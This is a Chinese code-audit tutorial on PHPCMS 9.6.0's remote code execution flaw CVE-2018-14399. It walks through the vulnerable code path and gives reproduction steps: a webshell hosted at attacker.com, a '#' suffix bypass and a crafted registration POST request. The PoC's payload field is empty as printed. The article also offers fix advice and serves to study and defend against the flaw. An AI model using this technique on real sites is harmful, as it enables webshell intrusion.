代码审计入门篇-CVE-2018-14399
字数 1468 2025-08-19 12:42:38
PHPCMS 9.6.0 远程代码执行漏洞分析 (CVE-2018-14399)
0x01 漏洞概述
漏洞描述:
PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件类型做正确校验。远程攻击者可以利用该漏洞上传并执行任意PHP代码。
影响版本:PHPCMS 9.6.0
漏洞类型:远程代码执行
危害等级:高危
0x02 漏洞分析
漏洞触发流程
-
用户注册流程入口:
- 漏洞触发点在用户注册页面
- 主要文件:
phpcms/modules/member/index.php中的register()方法
-
关键代码段:
if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); } -
可控变量:
$userinfo['modelid']是用户可控变量- 通过控制
modelid可以影响后续执行流程
核心漏洞点分析
-
member_input类初始化:
- 文件路径:
caches/caches_model/caches_data/member_input.class.php - 关键代码:
function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); pc_base::load_sys_class('attachment','',0); $this->siteid = param::get_cookie('siteid'); $this->attachment = new attachment('content','0',$this->siteid); }
- 文件路径:
-
get()方法中的动态调用:
- 关键代码:
$func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); - 通过控制
formtype可以调用不同的方法
- 关键代码:
-
editor()方法中的文件下载:
- 关键代码:
function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; }
- 关键代码:
-
attachment类的download方法:
- 文件路径:
phpcms/libs/classes/attachment.class.php - 关键漏洞点:
- 使用
#字符截断绕过文件后缀检查 - 正则表达式仅检查URL中的文件后缀,但实际下载的文件内容不受限制
- 使用
- 文件路径:
漏洞利用关键
-
控制modelid:
- 通过设置
modelid=11可以调用editor方法而非默认的datetime方法
- 通过设置
-
文件后缀绕过:
- 使用
#字符截断:<a href=http://127.0.0.1/1.php#1.png> - 实际下载的是
1.php的内容,但系统认为下载的是.png文件
- 使用
-
文件路径获取:
- 由于插入数据库时会报错,错误信息会泄露上传的文件路径
0x03 漏洞复现
复现步骤
-
准备恶意文件:
- 在攻击者控制的服务器上放置PHP文件,如
http://attacker.com/shell.php
- 在攻击者控制的服务器上放置PHP文件,如
-
构造恶意请求:
POST /index.php?m=member&c=index&a=register HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded siteid=1&modelid=11&username=test&password=test123&email=test@test.com &info[content]=&dosubmit=1 -
获取Webshell路径:
- 查看返回的错误信息,其中会包含上传的文件路径
- 如:
/uploadfile/2023/0512/20230512012345.php
-
访问Webshell:
- 访问
http://target.com/uploadfile/2023/0512/20230512012345.php
- 访问
复现POC
POST /index.php?m=member&c=index&a=register HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
siteid=1&modelid=11&username=attacker&password=Attacker123&email=attacker@example.com
&info[content]=&dosubmit=1&protocol=
0x04 修复建议
-
官方修复:
- 升级到PHPCMS最新版本
-
临时修复措施:
- 在
attachment.class.php的download方法中增加严格的文件类型检查 - 禁止从远程下载可执行文件
- 对上传的文件内容进行安全检查
- 在
-
代码层修复:
// 修改download方法,增加真实文件类型检查 $file_content = file_get_contents($file); if (preg_match('/<\?php/i', $file_content)) { unlink($newfile); return false; }
0x05 总结
该漏洞的核心问题在于:
- 用户可控制调用类方法(通过modelid和formtype)
- 文件下载功能未对实际文件内容进行校验
- 使用#字符截断可绕过文件后缀检查
漏洞利用需要满足以下条件:
- 目标系统允许用户注册
- 攻击者能够控制一个可公开访问的恶意文件服务器
- 系统未对上传的文件内容进行严格检查
此漏洞再次提醒我们,在文件操作功能中必须进行多重验证,包括但不限于:
- 文件扩展名检查
- 文件内容检查
- 文件MIME类型验证
- 文件权限设置